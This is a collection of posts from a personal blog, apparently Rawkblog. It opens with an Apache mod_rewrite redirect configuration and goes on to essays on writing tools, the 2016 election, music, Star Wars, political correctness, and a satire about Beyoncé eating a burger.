The first mod_rewrite checked for HTTPS without causing a redirect infinity loop. The standard WordPress code looks at the site URL you’ve set in the admin menu and makes sure rawkblog.com moves over to www.rawkblog.com. And finally, the If statement moves the .net sites over to .com properly. It works!

But according to HTTP Status, it did so in 2 redirects, moving everything to https, then doing everything else. There had to be a better way. After another hour of tests and grimaces, I found it:

<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} !https [NC,OR]
RewriteCond %{HTTP_HOST} ^rawkblog.net [NC,OR]
RewriteCond %{HTTP_HOST} ^www.rawkblog.net [NC]
RewriteRule ^(.*)$ https://www.rawkblog.com/$1 [R=301,L]

RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Just a simple mod_rewrite gets the job done: the first condition checks for HTTPS, the next two look at .net, and if any of these are satisfied, the whole thing moves over to the proper site. Finally, the WordPress code makes sure there are no issues with rawkblog.com vs. www.rawkblog.com. It all happens in one level of 301 redirects, which is great for site speed and also my sanity.

This will even move a URL from https://www.rawkblog.net/example to https://www.rawkblog.com/example, a (probably unnecessary) redirect the earlier method didn’t handle. (I think. I… tried a lot of methods.)

I hope this code is helpful to you if you, like me, spent half your night staring at the Apache documentation and got nowhere. Got a better way? Email me: david at davidgreenwald dot com.

Bug spotting

I found one: this technique works but leaves a double-redirect on WordPress date and archive pages (like rawkblog.com/page/2/). It works properly on tag, category, and other taxonomy pages. Why? I’ll find out.

The post 301 Redirects in Apache: HTTPS, WWW, and URL switching first appeared on Rawkblog.

A key step in working on my book proposal has been to run each chapter idea through a checklist of elements it has to include. They are:

• Argument: The thesis for the chapter, the main ideas and topics I want to get across. What are the conflicts? What’s going on here?
• Characters: Who will the narrative follow to give the thesis color and evidence?
• Section: Breaking the chapter into an even smaller bit following a particular set of characters and including:
  • Scene: A vivid anecdote
  • Context: Zoom out from the scene with background, further events, why the moment matters and what led to or from it
• Add Sections as needed
• Cliffhanger: Finish the chapter in a climactic or surprising way that keeps the pages turning

I could try to run my chapter outlines through this list from memory, but it’s easier to have it in a second document. I’m working in Ulysses on a 13” laptop, so my best option is to have two document windows, either side by side, or one each on two desktop screens that I can three-finger swipe between.

Neither one of these is quite right: swiping adds just enough friction for me to forget or be annoyed; on a 13” screen, having side-by-side windows feels a little crowded. I’m being a sensitive and fickle writer here, but I’ll try anything if it helps me work happier and more productively. So I arrived at this: paper as a second screen. I write my checklist on a notepad—argument, characters, section, scene, context, cliffhanger—and place it on my desk to the left of my laptop.

When I get to a new chapter, it’s there. When I don’t need it, it’s not filling up pixel real estate. It’s just simple enough to be helpful.

I also find that writing on paper forces me to think with a little more urgency than typing. Physically writing out the checklist helps me remember it better and keeps it at the front of my mind, like a shiny toy in a store window.

If I’m taking notes, say, from a book I’m reading for research, I’ll write them on paper first. I’ll mark page numbers for quotes I want to come back to and type in full, and put it all on the computer later. It seems like more work, but it keeps my notes focused and the laptop transcription step is an opportunity to finalize and confirm any ideas or commentary that started brewing on the notepad—to revisit why the note seemed important, and if it actually was.

A number of studies, including one in Psychological Science in 2016, have pointed out the power of handwriting as a way of forced selection of key points and a means to signal importance to memory, vs. the disposable-feeling text of 100 word-per-minute typing. And I just think a little better on paper. Maybe it’s because I’m not resisting the temptation of a Chrome tab or my Twitter feed. But it works for me.

The post Paper As a Second Screen first appeared on Rawkblog.

Author’s note: I read this essay on Tuesday night at Ryan Sartor’s Difficult to Name Reading Series at Turn! Turn! Turn! and am publishing it here for the first time.

“How’s the mood in here? Well, nothing is on fire.”

I was tweeting from the Oregon Convention Center, at what was supposed to be the Democrats’ election night celebration, watching the red, white, and blue balloons of American optimism leaking out hope slowly into the twilight hours of November 8, 2016.

And it was true. Nothing was on fire. There was no panic in the air, no screaming, no riots in the halls. Just the static of small conversations and cable news, CNN and its talking heads up on screens in every room in the building. Just another election night.

On the website of the New York Times, refreshing itself automatically on my phone, a meter claiming to predict the odds of the next president of the United States kept changing, the trembling needle pushing further and further to the right.

Hours passed, votes came in, and the needle kept pushing. By the time the Democrats got good news—Governor Kate Brown was elected—the needle was all the way into the red section. The color of hearty American blood.

Brown spoke, and maybe there were cheers, but the convention hall had become deflated rubber, a silent place, a house of disbelief, a vacuum. How could there be a fire in here? There was barely air to breath.

On the morning of November 8, 12 hours earlier, I woke up feeling impossibly relieved. It was like I’d stepped into a hot tub on a cruise down the Mexican coast, my phone hundreds of miles away, nothing to worry about but bubbles. I woke up like that, like Beyoncé must feel on her really good days, floating above the world. I knew in that moment that nothing could go wrong, that Hillary Clinton was going to win, that this nightmare election was going to be over and I could stop reading the news, watching debates and giving every square foot of my brain over to thinking about politics and pussy-grabbing. I was so sure.

It was early, and I rolled over and reached out to my wife.

“Do you want to go to Screen Door?” I said.

And we went. On most days, there’s a Portlandia brunch-episode-sized line at the Southern restaurant, but on this Tuesday, it was nearly empty. I took a photo outside and tweeted, “This will never happen again.”

We ordered a gluttonous breakfast of fried chicken and waffles and poured syrup on it like an Exxon oil spill. There may have been bacon involved. A group of young people walked in and took over a center table, a few in pantsuits, their voting accomplished and their victory certain. Holy shit, I was happy then.

Then day turned to night and the needle moved and some 77,000 people in three swing states made a decision I hope they regret.

Wednesday was not an improvement.

I took the bus to my office, shaken, pale, half-expecting the inevitable great Pacific Northwest earthquake to arrive and crack the Morrison Bridge in half. But the streets were still and normal. The bus paused at my stop. The light changed, and it rolled along. Inside the Starbucks where they know my name, people ordered lattes and coffee and spinach wraps. I felt sick and hollow, like my stomach had been squeezed out and tied around my chest.

At the office, people sat at their desks, trying to work, trying not to say too much.

“How did this happen?” somebody young asked somebody who looked like they might have an answer. “Why didn’t we know?”

I couldn’t take it. I closed my laptop, took the elevator down four floors and walked back out to the bus. It wasn’t raining in Portland that day but everything looked grey. My heart sunk like a busted submarine.

What was this feeling? When was the last time I—

Oh, I remembered. It’s grief. This is what grieving feels like.

I took out my bus pass and headed for the funeral.

The post Election Day, and What Came After first appeared on Rawkblog.

We have been waiting for ages for a new one from Portland indie-pop front-runners Wild Ones, so of course they saved the news (and a jam) for the hottest week of summer. Here’s “Paresthesia,” the first song from Mirror Touch.

I profiled the band during album demo sessions two years ago for the Oregonian:

After years in the works, the band’s debut, “Keep It Safe,” got two releases — originally on Portland’s Party Damage and a reissue on San Diego’s Topshelf last year — and they played 95 tour dates for it in 2014, enough to be ready to shake things up with the next batch of material. The studio is letting them test the waters.

“We kind of went through a couple different phases. We were trying to find the sound,” Himes says. “Nick and I write a lot of demos and just kind of throw a lot of things at the wall.”

“I’m the wall,” Sullivan says, laughing.

Wild Ones’ 10-track new album Mirror Touch is out Oct. 6, 2017, on Topshelf, which has it up for pre-order now.

The post Wild Ones – “Paresthesia” first appeared on Rawkblog.

Happy Valley, Oregon’s Pickathon festival returns for 3.5 days of music discovery on Pendarvis Farm this weekend. It was the first concert I went to when I moved to Portland four years ago and I’m looking forward to getting back after taking last summer off to be a dad. This year’s undercard is particularly Rawkblog-y, so here’s a quick preview on a few can’t-miss bands and artists.

Jay Som

One of 2017’s indie breakthroughs, thanks to Everybody Works—a set of breathy bedroom-pop sad-bastard jams evoking Elliott Smith and most of the good ideas of 1999.

Friday, 4:50 p.m., Treeline Stage
Saturday, 12 p.m., Galaxy Barn

Pinegrove

What Pinegrove presupposes is: what if a fresh-faced emo band made Wilco’s Being There? There are few young rock bands this emotionally compelling right now. See them twice.

Saturday, 9:20 p.m., Woods Stage
Sunday, 7:10 p.m., Mt. Hood Stage

Courtney Marie Andrews

Andrews’ Honest Life is a heartstring-tugging country album; Andrews herself has been apparently endorsed by Ryan Adams, who’s in a position to know.

Friday, 7:40 p.m., Lucky Barn
Saturday, 11:20 a.m., Woods Stage

The Last Artful, Dodgr

Perhaps the most creative and charismatic MC in Portland right now will bring some welcome hip-hop energy to the festival. I profiled Dodgr and crucial label Eyrst Records in January.

Friday, 11:40 p.m., Starlight Stage
Saturday, 3:20 p.m., Galaxy Barn

Charles Bradley & His Extraordinaires

The soul man’s Changes was one of my favorite albums of 2016, a collection of heart, grit, and sweetness anchored by a dramatic reimagining of Black Sabbath’s “Changes.”

Thursday, 8:50 p.m., Mt. Hood Stage
Friday, 11 p.m., Woods Stage

Go

Pickathon schedule
Pickathon tickets

Full disclosure: I am on the volunteer photography crew for Pickathon this year and have been provided passes. I wrote this preview for fun.

The post Pickathon 2017 Preview first appeared on Rawkblog.

But it’s not quite enough.

I’m working on a handful of long-term projects with different needs and scales, and before I dig in too deeply, I took a day to sample the new generation of writing apps. Here are my quick thoughts on Ulysses and Bear.

What I need

The first project is a nonfiction book proposal. I have research documents and quotes, an extensive outline with facts, citations, scenes and ideas, and the final proposal itself (and eventually the book chapters). I need a way to manage all this that can be indexed and quickly searched. TextEdit and the MacOS Finder are a bit under-powered for this, and Microsoft Word remains a bother (and expensive). There’s Google Docs, but I’d prefer a desktop copy I can backup to the cloud with Dropbox. I’m not writing on a phone or tablet and don’t care about syncing.

The second project is web development documentation. I am studying WordPress along with front-end dev, including HTML, CSS, and PHP, and am deep into note-taking: for this, I’d like an app that can present rich text alongside clearly marked plain-text code. Again, TextEdit can handle this, but laboriously, and a speedy search function would be much better.

Ulysses

This is an amazing app. I’m writing this blog post in it now. Ulysses is built on Markdown, an in-between way of writing that—with Ulysses’ customizable styles—gives you the benefits of both rich text visuals and HTML semantic power and flexibility. This is my first day using Markdown, but knowing HTML, I learned it in about 5 minutes.

Pros:

• Flexible text that can go anywhere, from a WordPress post to an eBook to a Word document
• Great with displaying code and allowing color customization
• Fast and powerful search
• Organization: You can create file groups and hierarchies, making it easy to collect, say, book chapters or put a project under one folder structure
• Version control: Files save automatically, but hit “save” to create a snapshot to go back or restore from later
• Document windows: You can open a file in a new window to do side-by-side editing, essential for comparing an outline or research document with the final text
• Comments: You can write Markdown comments that disappear in the final exported document, which is a killer feature for leaving yourself editing notes or citations to search or fix later.
• Can connect directly to WordPress (or Medium) for writing blog posts

Cons:

• I use SourceTree for version control for my code: the advantage there is it displays “difs,” or differences, between file versions. Ulysses’ version control appears to be missing this feature, and just gives you the two documents to compare with no guidance.
• Not necessarily the best option for outlining or zoomable bullet points
• Markdown is still not the same as rich text, so the exported project may be visually surprising. The preview feature is strong, but it would be nice to flip to it a little easier. It’s also just going to take me some getting used to.

There are many other features but I’ll end there. Ulysses is clean and ready to go out of the box, but it’s also visually customizable in specific and powerful ways. I love this app. I think it’s going to solve a lot of problems for me, particularly on the code documentation side, but I think it can handle a longer writing-focused project just fine.

Ulysses is available for MacOS ($45) and iOS ($25) on Ulyssesapp.com. The demo is free.

Bear

After trying Ulysses, Bear tastes like Diet Coke. Though similar to Ulysses, Bear is enough of a downgrade to feel best used as a mobile app—for note-taking rather than longer writing. It’s an improvement in visuals and features over Apple’s Notes, but I found its minimalism opinionated rather than accessible.

Pros:

• Familiar three-column layout like Notes and Ulysses
• Fast search
• Exports to PDF, HTML, DOCX
• Flexible, Markdown-y text that can include headings, links, images, etc.

Lukewarm:

• An interesting hashtag tagging system rather than folder hierarchy: this seems more bothersome than simply grouping files in Ulysses or using hashtags to navigate bullet points in WorkFlowy, which I also use.

Cons:

• Only a handful of display options and color and font choices. Some may find this liberating and love the look: it’s just O.K. to me.
• Markdown has to be turned on manually and without it, bold and italic styles use Bear’s weird markup instead of just bolding and italicizing.
• Bear’s version of markup seems generally distracting to me, like the H1 markers before a heading. Like I said: opinion.
• Fewer export options and customizations

There are enough solid features for using this as a flexible-text phone app but it doesn’t feel natural to me for longer work, and for my grocery list or a note-to-self, I’ll stick with WorkFlowy.

Bear, a subscription app, is $1.49 a month or $14.99 annually via Bear-writer.com. You can also try it for free.

What else?

I am a devoted user of WorkFlowy, an outlining app I have used for years as a note-taking tool, bullet journal and daily to-do list, writing outliner, and almost everything else. Practically my whole life is in it. The bullet points paired with search make it incredibly useful for atomizing short bits of research, but I am still pondering how I can use it best alongside work that demands longer text, like a full quote or an article. Perhaps a timeline to use side-by-side with Ulysses?

There’s also Scrivener, which I know is the gold standard for many writers but seems to avoid the HTML superpowers I’m interested in as a blogger and front-end developer. I’ll be looking at that next.

What would you recommend? Let me know what you use on Twitter or join the newsletter below and drop me a line.

Further reading

Matt Gemmell: Thoughts on Ulysses and Scrivener

The post Writing app first impressions: Ulysses and Bear first appeared on Rawkblog.

Phil Elverum’s new album is out today. It is about the death of his wife, and it holds nothing back. I cried four times the first time I played it. It is difficult to call this “a triumph,” “a masterpiece,” any superlative that would connote some kind of essential, joyous positivity. Summer BBQ listening, this is not. It is a diary, a eulogy; the documentary of the long and interminable walk through the shadow of grief. It is deeply affecting work from one of our most unique songwriters and my hope is that you will clear it the space it needs to say its piece.

Here are two wrenching interviews about the album.

Pitchfork: Death Is Real: Mount Eerie’s Phil Elverum Copes With Unspeakable Tragedy
The Creative Independent: Phil Elverum on creating art from grief

The post Mount Eerie – A Crow Looked at Me first appeared on Rawkblog.

Frank Ocean has spent the days before the release of Friday-due Boys Don’t Cry in a wood shop, broadcast in black and white, a room whose colors only the secluded singer can see. He is sawing up, what, a staircase? Speakers? Does it matter? He has been trying to teach us something: about patience, about the time and skill it takes to make a piece of work.

Boys Don’t Cry was supposed to come out last year, or at least it was announced for some July: assuming he was talking about the one on the current calendar was the mistake, one that led to months of demands, entitlement and jokes on social media. Ocean said nothing, and now it’s about to be here, twelve months and a week later.

Ocean’s two releases so far have been game-changers: the free album-as-mixtape Nostalgia, Ultra was huge enough to get his dithering label’s attention and a second advance, the first time that’s happened (in public) since Wilco uploaded Yankee Hotel Foxtrot and cashed a second Warners check. Channel Orange was such a white-hot official debut it essentially inspired a new Grammy category, “Urban Contemporary Album”—which Ocean won, naturally, over rival Chris Brown.

Before Ocean, née Christopher Breaux, was a star under his own name, he was a hired-gun songwriter: a line of work that left him funded but otherwise unhappy. When fame came, and quickly, tabloid life didn’t suit Ocean, whether beefing with Brown or a swirl of attention around an Instagram photo with rumored boyfriend Willy Cartier.

“Lol y’all are crazy. Remember, everyone goes to the grave,” he wrote when the Cartier photo made headlines. “Let me live.” We expect it now, but a few years back, social drama hadn’t quite become a pop marketing requirement yet: for an artist who came up on Tumblr, Ocean just wasn’t made for these times.

At those Grammys in 2013, Ocean performed “Forrest Gump”: a low-key, almost dorky ballad evoking the image of a bearded, shit-covered Tom Hanks in a fairly landmark same-sex love song. There were no fireworks, no P!nk hanging from a trapeze held by an elephant or whatever. It wasn’t so much rebellious as it was disinterested: not in the music. Never that. Just in all the rest of it. Whatever Boys Don’t Cry brings, it will shout one thing as it shakes off the dust: let him live.

The post Let Frank Ocean Live first appeared on Rawkblog.

[This review includes plot details and mild spoilers.]

Star Wars is a film series in the way Christmas is a day off from work, in the way your mother is the landlord of the house you used to live in. For millions of people, its imagination, adventure and battle of good against evil is a rich and fundamental mythology. Han Solo’s roguish charm. Chewbacca’s true friendship. Obi-Wan Kenobi’s deep wisdom. Leia’s rebellious strength. Luke’s wide-eyed wonder, and then the shadow of experience. Family and betrayal, fear vs. hope, interstellar travel and whimsical smuggler cantinas. It all does what the very best art does: it speaks to us. It transports us. It becomes part of us.

So I am not interested in any conversation about Star Wars: The Force Awakens, the seventh “episode” of the film saga and first in its Disney revival, that is not an emotional recap. “What did you think of Star Wars?” is an inadequate and distracting question. Grading its narrative choices or internal coherence is like discussing the nutritional content of a warm apple pie. But “how did Star Wars make you feel?”—we can start there.

I saw The Force Awakens on Friday, opening night: it may not have been the midnight frenzy of Thursday, but three hours before the screening, dozens had arrived in line. Parents led children in Jedi robes down the sidewalk. Adults flicked on their lightsaber toys into glowing red and blue.

I was nervous that the film would feel less than worthy of its name. I was nervous to be so excited. But I was excited to be excited, to acknowledge the tightening feeling of anticipation overshadow the rest of the world, like a Star Destroyer entering the frame. The boy next to me asked how much longer we’d have to wait. 40 minutes until doors. His face wrinkled and smoothed into patience.

Sitting in the fourth row, M&Ms, popcorn and pizza acquired, we waited, the seats around us full and electric with anticipatory chatter. Whatever happened, we would share it together. A gleeful usher explained our exit logistics and asked us not to share spoilers on Facebook after: that shit is rude. You only see Star Wars movies for the first time once. Someday The Force Awakens will be watched on airplanes, on Netflix, on 4″ phones, but it won’t be the same.

God, what a feeling. We cheered at everything. The familiar yellow-font explanation of confusing space drama. (The Resistance and the Republic? Huh?) The moment Han Solo and Chewbacca stepped into the frame, older but otherwise unchanged. General Leia—and the big reveal in the film’s final moments. We were clapping and shouting in gratitude. The Force Awakens took us back, to childhood, to family, to awe and suspense and wonder. I do not believe we were the only ones: there is a warmth to Harrison Ford’s performance here that goes beyond any of his character’s potential aging and mellowing. He gets to be Han Solo again, and he too, is grateful.

There were, of course, elements of The Force Awakens that grow silly if one ponders them too long. It borrows heavily from A New Hope, nearly to the point of repetition. The believability of bad guys following up two failed Death Stars with a bigger, planet-sized one is maybe a comment on the weapons obsession and wasted billions of the U.S. government, but maybe it’s just ridiculous and unlikely. Our new heroine, Rey, is a fusion of Han Solo’s smarts and Luke Skywalker’s chosen-one powers—but this is thrilling and fully realized, the sexist critique of one screenwriter notwithstanding. In the most interesting variation, Kylo Ren is at first a stunning force master, able to trap a shuddering blaster beam in mid-air, but soon he’s a tantrum-throwing baby, an uncertain shadow of Darth Vader.

The Force Awakens walks a narrow line between progress and nostalgia, and if it misses an opportunity or two, it’s in service of never coloring outside the lines that define the saga. It does what we, or I, wanted: it feels like a Star Wars movie, a feat Episodes I-III never really accomplished. The Force Awakens has heavy expectations, but it also comes as a welcome apology. “You’ve been burned before,” it knows. “Come back. It’s real this time.” Any event, detail or character is secondary to that accomplishment. Like the wardrobe that opens to Narnia, The Force Awakens leaps into hyperspace and brings us back to the world we’ve dreamed of.

There are uncertain, incomplete elements in the film—Ren’s turn to the dark side, Rey’s origins and prodigious force ferocity, and other bits and pieces of the 30 years of chronology The Force Awakens evades—that are already being argued over, though impatient viewers would do well to remember it took a full two movies for Luke Skywalker’s parentage to be revealed. Episodes VIII and IX are still coming! Star Wars is not a crime procedural: is knowing or guessing what happened in a vast, mysterious fictional universe really more interesting or satisfying than letting the films show us? All I wanted at The Force Awakens was to see a Star Wars movie. I did. Right now, that’s enough.

The post An emotional review of ‘Star Wars: The Force Awakens’ first appeared on Rawkblog.

At first that makes it seem a bit flat, simplistic. For me, further listens have deepened the music: now I hear it as concise and focused. There are clear nods to American heartland rock, the sounds of Tom Petty and “Nebraska”-era Springsteen, but Adams doesn’t take on their influence completely. His Smiths adoration reverberates, literally, through even the grittiest moments, and the guitars unfold in firm, subtle layers. It’s a backdrop. He’s here to tell a story.

In hindsight, “Ryan Adams” is probably the Ryan Adams divorce album, but even as a work of fiction, that frame — the end of a relationship — reveals the collection as a single piece, told one feeling at a time. He did that before, I’ve always interpreted, on 2005’s “29,” but that album stretched through a rotating cast of characters and into spiritual dream logic. “Ryan Adams” is presented with perfect clarity. No ghosts, no metaphors. Just shadows. As a whole, it’s the most seamless writing of his entire career.

Walk through it with me. “Gimme Something Good” is the first sign of desperation as love begins to crumble. “Kim” witnesses a lover going “to be with him.” “I can’t sleep, can’t go home,” Adams opens. That sets him off: “Trouble” presents a reckless man with his hand “through the mirror,” some unmentioned acts in his rearview. “Am I Safe” wonders what happens next, “If I don’t want to be with you.” But then he regrets it. “I wish I could call you, I wish you were still around,” he sings on “Wrecking Ball.” In “Trouble,” Adams sang “These walls will crumble”: in “Wrecking Ball,” they come down entirely. The house, metaphorical and otherwise, is no good. He’s in the car, roaming the streets at night.

“Stay With Me,” the album’s mid-set scorcher, makes a burning plea for a love to “call my name.” But it’s no good. “Shadows” opens with the image of a film “in the cutting room”; when he sings “How long do I have here with you?” it seems he’s asking a memory playing on the wall. (It’s also the least oblique reference to his marriage, if that’s what you’re looking for.)

“Feels Like Fire” is about the pain that comes with finality, and gives a quick and casual, Smiths-referencing nod to vehicular suicide. “I Just Might” considers the idea more thoroughly. “Tired of Giving Up” turns self-critical. It wants one more chance. “Let Go,” well, it does what it says on the label, with Adams on the road again.

There are moments where the narrative’s strings loosen — the certainty of “Kim” makes it feel like it could come later in the storyline — but it’s threaded through with imagery that builds and evolves. Decline, fall, release; flames and wire, walls and wheels, heaven and shadows. What a goddamn record.

The post Deeper into ‘Ryan Adams,’ a clear-eyed classic first appeared on Rawkblog.

I am deeply sorry to have missed Mr Twin Sister, my favorite band of 2014 (and probably of 2011, too, let’s be honest) play what looks like an ecstatic festival show. You can dance to this music, you can existentially panic to it or you can fall in love: what else is there?

Mr Twin Sister is available on Bandcamp and other fine retail outlets.

The post Videos: Mr Twin Sister at Pitchfork Fest first appeared on Rawkblog.

Censorship

What is happening to Bill Maher, Jerry Seinfeld, Amy Schumer and other successful, cis, hetero white comedian-people is not censorship. Censorship means being prevented from speaking. These people are speaking and other people are speaking back. What’s actually happening is not censorship but more free speech than ever before! Marginalized communities, who didn’t have the resources, attention or megaphone to be heard by, or at the same volume as, privileged celebrities now have those tools. Their voices are being heard, and guess what, they don’t like ignorance. That ignorance is being corrected, like a teacher obliterating your book report with red pen. You still wrote the damn book report: you just got a C on it. Or an F.

Political correctness

“Politically correct” is an insult. It implies an artificiality, a pose, a fake concern. To be politically correct is to avoid offense by lying instead of speaking honest, secretly “correct” ideas. The critics of political correctness think that they should be able to speak on their opinions without consequence, regardless of the hatefulness or ignorance of those opinions. And couching the damage of those opinions as “taking offense” instead of “causing harm” implies an exaggerated sensitivity — it victim-blames, rather than considering any level of personal responsibility. The existence of political correctness as a concept also devalues the concerns of the marginalized — that they are wrong but must be pandered to, that they can’t possibly be correct-correct, as the notions and ideas of privileged people (Jonathan Chait, etc.) must be just by virtue of existing. Political correctness is a bankrupt concept devoid of humanity and empathy, a pale straw man for people who are afraid to listen. Putting this under some weird banner of neo-liberalism (or any white, Western, academic/political framework) ignores the shape and intent of the communities who are actually speaking out.

A lot of this boils down to: “Hey, that thing you said? It’s shitty. You might be a shitty person, too. Do you actually understand what you’re talking about?” “That’s impossible, YOU’RE a shitty person!”

Capitalist response

It is clear we are in the midst of a national (and international) sea change in public discourse, as social media tools, particularly public-facing ones such as Twitter and Tumblr, have solidified communities, enabled movements and allowed voices to be heard in a way that has created genuine change. While some of this is capitalist butt-covering — no one wants a boycott — modern capitalism has presented us with an oligarchal ruling class who have sucked up all the money except a subsistence-grade fraction and using its own weapons against it are an act of subversion and a reclamation of democratic agency.

Yes: groups with bad ideas could spook corporations into doing things, and which ideas are good or bad should be a matter of debate, not megaphone-volume. Conservatives would argue that is, in fact, what’s happening: they would also argue that we bear no responsibility for climate change, that women should not control their bodies, that black and Latino voters are committers of fraud, not to mention disproportionate crime; in other words, that anyone who is in fact not a white, straight, faithful Christian male is suspect, and should not have a voice in the political dialogue or even equal rights. So far, stuff like Macy’s parting ways with Donald Trump has been undeniably good for America. If TV shows, movies and other entertainment products with diverse casts and creators are more prominent than ever before in part because they will draw in wider audiences and make more money: great!

Defensiveness

A recent University of Washington study essentially confirmed that masculinity is as fragile as an eggshell — that having a narrow, arbitrary paradigm of male personhood prompted men to compensate or even respond with aggression. Listen, I grew up hiding my Fiona Apple cassettes at summer camp so dudes wouldn’t make fun of me: this is gross and real and baked into many men by pop culture and parenting from an early age. We are also in a culture of winners and losers instead of collaborations — where we have arguments instead of dialogue, where political candidates exist as extremist opposites, where everything is a sport — which makes being challenged a confrontation instead of an opportunity to learn and grow. These movements and ideas are a lot to take in quickly, and many people are not open to a changing worldview. It is scary to feel wrong, to feel ignorant, to not understand the world in very rigid terms. Defensiveness is natural — and yet destroying that knee-jerk impulse is the only way forward.

That it is not to say that any challenge to one’s ideology is right and your existing ideas are wrong: there is a full continuum of ideas and disagreements within every social movement, and individual actors for good causes can be as recklessly sure of themselves and their positions as their opponents. There is plenty of narcissism (and faves, likes and reblogs) involved with being a 20-something social justice warrior — with appearing “right” instead of making progress. I really admire Deray McKesson, for one, for constantly refocusing his followers on the work and the mission.

But we people of privilege (of every level) have to listen. We have to step back and think. We have to admit that we don’t know everything. We have to accept that we might be wrong, or at least that someone else’s truth should co-exist with ours. It is amazing what kind of person you can become when you begin to put aside your ego and the fear that comes with it.

And then some things are actually facts. The Confederate flag is a symbol of a traitors’ war waged for black oppression. Every serious scientist on Earth recognizes that climate change is a global crisis that needs immediate action. Teenagers who are taught only abstinence have sex anyway and get pregnant. Police are disproportionately arresting and killing black men. Realize that, say, Fox News is actually an entertainment division, just like the 20th Century Fox movie studio, and has no obligation to report the truth or do any journalistic work at all.

Allies

I see many activists in Feminist Twitter or Black Twitter and so on who have suffered enough and don’t have the time or patience to educate our ignorant white male asses. Instead, they’d like us to Google or read a book. I don’t blame them for this frustration (how could you?) and believe it is firmly on the privileged to recognize their privilege and work to understand the inequalities that exist in America and worldwide.

One way of thinking about this is to consider the ideal, equal world that might exist when all these fights are over and work backward from there. Would we exist in communities that maintain their individual cultures and differences while working to understand and respect those of the others? To be more Beastie Boys than Iggy Azalea? How do we approach that point? There has to be a level of dialogue and mutual respect that does not dismiss, say, “white people” as one thing and “black people” as another. At the same time, a movement like “not all men” misses the point: which is that the toxicity of some men must be recognized and addressed by men, and saying I, personally, am not a dick-having garbage-monster is a distraction from an ultimately male problem. (See: defensiveness.) I think all sides could work on speaking and listening in ways that build toward understanding and less animosity, but the onus of doing the work is on the privileged.

How? The song “Accidental Racist,” for instance, was roundly criticized. But it offered two adults trying to have a conversation, which is more than we can say for most trending topics. It is privileged, and let’s be honest, the narcissism of youth, to assume everyone has had access to your knowledge and education, or would even know to look for it. LL Cool J is 47 years old and has presumably not kept pace with the consensus opinions 23-year-olds established on Tumblr last week. Where are the resources for his education? Where is the Wiki page or the syllabus that might shine a light? (I know many online articles have worked to lay many of these issues out: they need to be shared and made unavoidable.)

This is about education: Jerry Seinfeld does not recognize race as a problem because he’s never had to. He lives in a bubble. A path needs to be offered for bubble boys to find their way forward into understanding and ally-hood: if, facing the truth, people decide to reject it, that’s on them. But I don’t see it as progressive or useful to burn a bridge instead of presenting that as the first option. Let me put it this way: if someone’s not in the struggle, it can be frighteningly easy to not see it at all. Or it was, but that’s changing every day.

Having conversations bring us back to the trolls, who have really ruined the ability of earnest allies to ask questions or have disagreements, even, without coming off as confrontational frauds. I would love to see a safer space for these interactions arise, but in the meantime, listening is more important. I have a lot of reading to do, you probably do, too.

Pop culture politics

I don’t find inspecting every single pop culture moment — every TV scene, every song lyric, etc. — for ethical clarity to be purposeful, but there is a difference between holding a magnifying glass and having an undeniable reaction to the culture in front of you. As the critic Wesley Morris has said, it’s not that he wants to write about race when he goes to a movie: it’s that the movies keep making him do so. Again, for the 431st time, no one is silencing these kinds of pop culture moments: they are criticizing them, so that artists and audiences can learn and grow and get better. That is what criticism is for! So we can all better understand art, and through it, the human experience! The human experience of some people is being ignorant assholes, or even carefully walking a line that troubles some but pleases others. (I stopped watching “Kimmy Schmidt” because the jokes were too racist for me but I am unbothered by Amy Schumer, your mileage may vary.)

Also, please: no more essays on separating the art from the artist. If the artist’s actions (of any sort) feel relevant to the art, say so. If you like the art anyway, say so, or just continue to quietly enjoy it. That’s it! The feminist police are not coming to take your Mark Kozelek records away: it’s 2015, and no one cares what anyone else listens to.

This is what a correction looks like

Privilege is being checked, finally, rapidly, and the long push against true egalitarian balance is escalating. The claimed war on Christmas is in fact a balancing of culturally oppressive Christian hegemony to acknowledge Jews, Muslims, atheists and other beliefs. Video games are offering playable characters who aren’t white males because “white male” isn’t neutral or a default. After an exhaustingly long era in which Western culture represented and was made by a specific audience, it is expanding to offer a broader, and more authentic, picture of a modern world. This does not mean it is getting harder for straight white men. It means it is starting — just starting! — to be as appropriately difficult as it should’ve been all along, after centuries and millennia of the advantages conferred by colonialist patriarchy.

Sorry, bros. You’ll always have football, until it’s banned for causing brain disease.

The post This is what a correction looks like first appeared on Rawkblog.

My never-ending dream / psych / shoegaze / synth series continues on Rdio.

Volume III
Volume II
Volume 1

The post I Never Learned To Drive Vol. IV first appeared on Rawkblog.

It is a vision of many meanings: an image of junk-food rebellion against the celeb-magazine haranguing to get bodies back or otherwise sacrifice all in the name of weight loss; an image of black female solidarity and sisterhood; an image of raw, or rather, charbroiled, pleasure.

It is also a deep and bloody betrayal.

In 2013, Beyonce spent 22 days as a vegan, eating a meal plan designed by her trainer. In February, she announced the launch of her own full-fledged vegan food line, which will arrive at our homes carried on the wings of doves. Seamless is still out there, trembling: this is the only delivery service America needs.

Beyonce is a role model. A diva. Perhaps, some have suggested, an actual deity. To follow her Instagram is thus to catch a flash of the divine; to partake of the food that sustains her would be to channel a fraction of her infinite power. For centuries, we too have had as many hours in the day as Beyonce: now, she has graced us with her hearty nut granola as well.

Eating vegan for 22 days is a Herculean labor: everything from gummy bears to slow-roasted BBQ pork belly is off the menu. We need someone like Beyonce — no, we need Beyonce, specifically, and her meal service — to shoulder the burden, to pave the way, to empower the Beyhive with the courage to never eat another burger again.

But Beyonce has eaten a burger.

How many cows cried out in anguish when that patty flicked across Tidal? How many bovines screamed, to see their former ally gorging on their flesh?

Beyonce’s never silent against criticism. This is the woman who once stood in front of a “feminism” sign at an awards show, putting all debate over her allegiances to rest until the end of time. Yet can she claim true intersectional solidarity when she dines on the bodies of her living, mooing sisters?

“Feeling Myself” is set at Coachella, a scene of reckless hedonism, rampant meat-eating and very little water, thanks to Indio, California, being a desert land-locked in the midst of a state-wide drought. It takes thousands of gallons of water to produce a single burger; further, the bovine impact on climate change on planet Earth, the very world Beyonce runs, is immense.

Perhaps our queen is a spiteful monarch. Or perhaps her wisdom is beyond our simple grasp. Perhaps water conservation, animal empathy, greenhouse awareness and healthy eating are just fool’s errands, distractions on the way to that blissful mingling of bun, sauce, cheese and grilled meat. Mmm. Meat.

